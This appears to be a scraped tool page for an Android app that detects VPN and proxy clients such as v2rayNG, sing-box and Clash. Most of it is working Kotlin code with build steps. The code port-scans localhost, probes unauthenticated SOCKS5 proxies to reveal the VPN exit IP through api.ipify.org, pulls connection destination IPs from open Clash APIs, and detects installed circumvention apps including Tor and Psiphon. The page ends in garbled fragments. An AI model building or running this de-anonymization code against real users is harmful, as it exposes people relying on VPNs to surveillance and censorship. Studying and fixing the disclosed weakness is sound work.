Loading...
Loading...
Android app that detects VPN/proxy servers (VLESS/xray/sing-box) via local SOCKS5 vulnerability, exposing exit IPs and server configs without root
npx skill4agent add aradotso/trending-skills yourvpndead-vpn-detectionSkill by ara.so — Daily 2026 Skills collection.
git clone https://github.com/loop-uh/yourvpndead.git
cd yourvpndead
./gradlew assembleDebug
# Output: app/build/outputs/apk/debug/app-debug.apk
adb install app/build/outputs/apk/debug/app-debug.apkAndroidManifest.xml<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />ScanOrchestrator (14 phases)
├── ProfileDetector — work profile, isolation, VPN status
├── ProcNetScanner — /proc/net/tcp fingerprinting
├── DirectSignsChecker — 6 direct VPN checks
├── IndirectSignsChecker — 5 indirect checks (MTU, DNS, dumpsys)
├── DeviceInfoCollector — device fingerprint
├── PortScanner — TCP scan IPv4 + IPv6 localhost
├── Socks5Probe — proxy type identification
├── XrayAPIDetector — xray gRPC API detection
├── ClashAPIProbe — Clash REST API probe
├── AuthProbe — auth analysis + brute-force demo
├── ExitIPResolver — exit IP via SOCKS5
└── GeoLocator — IP geolocationDirectSignsChecker.kt// Check TRANSPORT_VPN capability
val connectivityManager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
val network = connectivityManager.activeNetwork
val caps = connectivityManager.getNetworkCapabilities(network)
val hasVpnTransport = caps?.hasTransport(NetworkCapabilities.TRANSPORT_VPN) == true
// Check hidden IS_VPN flag (not in public API)
val capsString = caps?.toString() ?: ""
val hasIsVpn = capsString.contains("IS_VPN")
val hasVpnTransportInfo = capsString.contains("VpnTransportInfo")
// Check system proxy properties
val httpProxyHost = System.getProperty("http.proxyHost")
val socksProxyHost = System.getProperty("socksProxyHost")
// Check NOT_VPN capability absence (inverse detection)
val notVpnCapability = caps?.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN) == true
// If false → network IS a VPNimport java.net.NetworkInterface
fun detectVpnInterfaces(): List<String> {
val vpnPatterns = listOf(
Regex("^tun\\d+$"),
Regex("^tap\\d+$"),
Regex("^wg\\d+$"),
Regex("^ppp\\d+$"),
Regex("^ipsec.*$")
)
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { iface -> vpnPatterns.any { it.matches(iface.name) } }
.map { it.name }
}
// Check MTU anomaly (VPN lowers MTU due to encapsulation overhead)
fun checkMtuAnomaly(): Boolean {
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { it.isUp && !it.isLoopback }
.any { it.mtu in 1..1499 } // Standard Ethernet = 1500
}
// WireGuard: ~1420, OpenVPN: ~1400, VLESS/xray: ~1380-1400ProcNetScanner.ktfun scanProcNetTcp(): List<Int> {
val openPorts = mutableListOf<Int>()
listOf("/proc/net/tcp", "/proc/net/tcp6").forEach { path ->
try {
File(path).forEachLine { line ->
val parts = line.trim().split("\\s+".toRegex())
if (parts.size >= 4) {
val state = parts[3]
if (state == "0A") { // 0A = LISTEN
val localAddress = parts[1]
val portHex = localAddress.split(":").lastOrNull()
portHex?.toIntOrNull(16)?.let { openPorts.add(it) }
}
}
}
} catch (e: Exception) { /* May be restricted on newer Android */ }
}
return openPorts
}
// Fingerprint VPN client by port pattern
fun fingerprintClient(ports: List<Int>): String {
return when {
10808 in ports && 10809 in ports && 19085 in ports -> "v2rayNG / xray"
2080 in ports -> "NekoBox / sing-box"
7890 in ports && 7891 in ports && 9090 in ports -> "Clash / mihomo"
3066 in ports && 3067 in ports -> "Karing"
19090 in ports -> "sing-box (Clash API — IP leak via /connections!)"
else -> "Unknown"
}
}PortScanner.ktimport kotlinx.coroutines.*
import java.net.InetSocketAddress
import java.net.Socket
suspend fun scanKnownPorts(
timeout: Int = 300,
parallelism: Int = 32
): List<Int> = coroutineScope {
val knownVpnPorts = listOf(
// xray / v2rayNG
10808, 10809, 10810, 10085, 19085,
// sing-box / NekoBox
2080, 2081, 3066, 3067,
// Clash / mihomo
7890, 7891, 7892, 7893, 9090, 19090,
// Common proxy
1080, 8080, 8118, 9050, 3128,
// Yandex.Metrica tracking
29009, 29010, 30102, 30103,
// Meta Pixel
12387, 12388, 12389
)
val semaphore = kotlinx.coroutines.sync.Semaphore(parallelism)
knownVpnPorts.map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
port // Return port if connected
}
} catch (e: Exception) { null }
}
}
}.awaitAll().filterNotNull()
}
// Full scan 1-65535
suspend fun fullPortScan(timeout: Int = 200): List<Int> = coroutineScope {
val semaphore = kotlinx.coroutines.sync.Semaphore(32)
(1..65535).map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
port
}
} catch (e: Exception) { null }
}
}
}.awaitAll().filterNotNull()
}Socks5Probe.ktimport java.io.InputStream
import java.io.OutputStream
import java.net.Socket
enum class ProxyType { SOCKS5_NO_AUTH, SOCKS5_AUTH_REQUIRED, HTTP_CONNECT, GRPC, UNKNOWN }
fun probePort(port: Int, timeoutMs: Int = 2000): ProxyType {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeoutMs)
socket.soTimeout = timeoutMs
val out: OutputStream = socket.getOutputStream()
val inp: InputStream = socket.getInputStream()
// SOCKS5 handshake: VER=5, NMETHODS=1, METHOD=NO_AUTH(0x00)
out.write(byteArrayOf(0x05, 0x01, 0x00))
out.flush()
val response = ByteArray(2)
inp.read(response)
when {
response[0] == 0x05.toByte() && response[1] == 0x00.toByte() ->
ProxyType.SOCKS5_NO_AUTH // Vulnerable!
response[0] == 0x05.toByte() && response[1] == 0x02.toByte() ->
ProxyType.SOCKS5_AUTH_REQUIRED // Protected
else -> ProxyType.UNKNOWN
}
}
} catch (e: Exception) { ProxyType.UNKNOWN }
}
// HTTP CONNECT probe
fun probeHttpConnect(port: Int): Boolean {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), 2000)
val out = socket.getOutputStream()
out.write("CONNECT example.com:443 HTTP/1.1\r\nHost: example.com:443\r\n\r\n".toByteArray())
out.flush()
val response = socket.getInputStream().bufferedReader().readLine() ?: ""
response.contains("200") || response.contains("407") || response.startsWith("HTTP")
}
} catch (e: Exception) { false }
}ExitIPResolver.ktimport java.net.InetAddress
import java.net.Socket
fun resolveExitIpViaSocks5(
socksPort: Int,
targetHost: String = "api.ipify.org",
targetPort: Int = 80
): String? {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", socksPort), 3000)
socket.soTimeout = 5000
val out = socket.getOutputStream()
val inp = socket.getInputStream()
// SOCKS5 handshake
out.write(byteArrayOf(0x05, 0x01, 0x00)); out.flush()
val auth = ByteArray(2); inp.read(auth)
if (auth[1] != 0x00.toByte()) return null // Auth required
// CONNECT request (ATYP=0x03 domain name)
val hostBytes = targetHost.toByteArray()
val request = byteArrayOf(
0x05, // VER
0x01, // CMD = CONNECT
0x00, // RSV
0x03, // ATYP = domain
hostBytes.size.toByte() // domain length
) + hostBytes + byteArrayOf(
(targetPort shr 8).toByte(),
(targetPort and 0xFF).toByte()
)
out.write(request); out.flush()
// Read response (10 bytes for IPv4)
val resp = ByteArray(10); inp.read(resp)
if (resp[1] != 0x00.toByte()) return null // Connection failed
// HTTP GET to ipify
out.write("GET / HTTP/1.1\r\nHost: $targetHost\r\nConnection: close\r\n\r\n".toByteArray())
out.flush()
val response = inp.bufferedReader().readText()
// Response body is the exit IP
response.lines().last { it.matches(Regex("\\d+\\.\\d+\\.\\d+\\.\\d+")) }
}
} catch (e: Exception) { null }
}ClashAPIProbe.ktimport java.net.HttpURLConnection
import java.net.URL
import org.json.JSONObject
data class ClashApiResult(
val isOpen: Boolean,
val connections: List<String> = emptyList(), // Contains destination IPs!
val proxies: List<String> = emptyList(),
val externalController: String? = null
)
fun probeClashApi(port: Int = 9090, timeoutMs: Int = 3000): ClashApiResult {
val baseUrl = "http://127.0.0.1:$port"
return try {
// Check /configs for external-controller info
val configUrl = URL("$baseUrl/configs")
val configConn = configUrl.openConnection() as HttpURLConnection
configConn.connectTimeout = timeoutMs
configConn.readTimeout = timeoutMs
if (configConn.responseCode != 200) return ClashApiResult(false)
val config = JSONObject(configConn.inputStream.bufferedReader().readText())
// GET /connections — reveals ALL active connection destination IPs
val connUrl = URL("$baseUrl/connections")
val connConn = connUrl.openConnection() as HttpURLConnection
connConn.connectTimeout = timeoutMs
val connData = JSONObject(connConn.inputStream.bufferedReader().readText())
val destinationIps = mutableListOf<String>()
val connections = connData.optJSONArray("connections")
if (connections != null) {
for (i in 0 until connections.length()) {
val conn = connections.getJSONObject(i)
conn.optJSONObject("metadata")?.optString("destinationIP")
?.takeIf { it.isNotEmpty() }
?.let { destinationIps.add(it) }
}
}
ClashApiResult(
isOpen = true,
connections = destinationIps,
externalController = config.optString("external-controller")
)
} catch (e: Exception) { ClashApiResult(false) }
}
// Ports to check for Clash API
val clashApiPorts = listOf(9090, 19090, 8080, 9091, 8090)DirectSignsChecker.ktval vpnPackages = mapOf(
"com.v2ray.ang" to "v2rayNG",
"io.nekohasekai.sfa" to "sing-box (SFA)",
"app.hiddify.com" to "Hiddify",
"com.github.shadowsocks" to "Shadowsocks",
"com.matsuridayo.matsuri" to "NekoBox",
"io.nekohasekai.sagernet" to "NekoBox/SagerNet",
"com.clashforwindows.clash" to "ClashMeta",
"com.byedpi" to "ByeDPI",
"org.outline.android.client" to "Outline",
"com.psiphon3" to "Psiphon",
"us.lantern.lantern" to "Lantern",
"com.wireguard.android" to "WireGuard",
"org.torproject.torbrowser" to "Tor Browser",
"org.torproject.android" to "Orbot",
"com.karing.app" to "Karing",
"com.throne.android" to "Throne",
"com.happ.free.vpn.proxy" to "HAPP"
)
fun detectInstalledVpnApps(context: Context): List<String> {
val pm = context.packageManager
return vpnPackages.entries.mapNotNull { (pkg, name) ->
try {
pm.getPackageInfo(pkg, 0)
name // App is installed
} catch (e: PackageManager.NameNotFoundException) { null }
}
}fun checkDefaultRoute(): String? {
return try {
File("/proc/net/route").readLines()
.drop(1) // Skip header
.firstOrNull { line ->
val parts = line.split("\t")
parts.size >= 2 && parts[1] == "00000000" // Default route (0.0.0.0)
}
?.split("\t")
?.firstOrNull() // Interface name (e.g., "tun0" = VPN)
} catch (e: Exception) { null }
}// ScanViewModel.kt
class ScanViewModel(application: Application) : AndroidViewModel(application) {
private val _scanState = MutableStateFlow<ScanState>(ScanState.Idle)
val scanState: StateFlow<ScanState> = _scanState.asStateFlow()
fun startScan(fullScan: Boolean = false) {
viewModelScope.launch {
_scanState.value = ScanState.Running(phase = "Initializing...")
val orchestrator = ScanOrchestrator(getApplication())
orchestrator.run(
fullPortScan = fullScan,
onPhaseUpdate = { phase -> _scanState.value = ScanState.Running(phase) }
).collect { result ->
_scanState.value = ScanState.Complete(result)
}
}
}
}
// ScanState.kt
sealed class ScanState {
object Idle : ScanState()
data class Running(val phase: String) : ScanState()
data class Complete(val result: ScanResult) : ScanState()
}@Composable
fun ScanScreen(viewModel: ScanViewModel = viewModel()) {
val state by viewModel.scanState.collectAsState()
Column(modifier = Modifier.fillMaxSize().padding(16.dp)) {
when (val s = state) {
is ScanState.Idle -> Button(onClick = { viewModel.startScan() }) {
Text("Start VPN Scan")
}
is ScanState.Running -> {
CircularProgressIndicator()
Text("Phase: ${s.phase}")
}
is ScanState.Complete -> ScanResultView(result = s.result)
}
}
}| Client | Core | Default SOCKS Port | Auth | Status |
|---|---|---|---|---|
| v2rayNG | xray | 10808 | None | Vulnerable |
| NekoBox | sing-box | 2080 | None | Vulnerable |
| Hiddify | sing-box/xray | varies | None | Vulnerable |
| Happ | xray | varies | None + open gRPC API | Critical |
| Karing | sing-box | 3067 | None | Vulnerable |
| Husi | sing-box | — | Yes | Protected |
object VpnPorts {
// xray / v2rayNG
val XRAY_SOCKS = 10808
val XRAY_HTTP = 10809
val XRAY_STATS = 19085
val XRAY_GRPC_API = listOf(10085, 19085, 23456, 8001, 62789)
// sing-box / NekoBox
val SINGBOX_MIXED = 2080
val SINGBOX_HTTP = 2081
val KARING_SOCKS = 3067
val KARING_HTTP = 3066
// Clash / mihomo
val CLASH_HTTP = 7890
val CLASH_SOCKS = 7891
val CLASH_REDIR = 7892
val CLASH_API = 9090
val SINGBOX_CLASH_API = 19090 // Leaks connection IPs via /connections
// Common
val TOR_SOCKS = 9050
val PRIVOXY = 8118
}/proc/net/tcpPortScannertimeoutparallelismIntentapi.ipify.orgifconfig.mecheckip.amazonaws.comsecret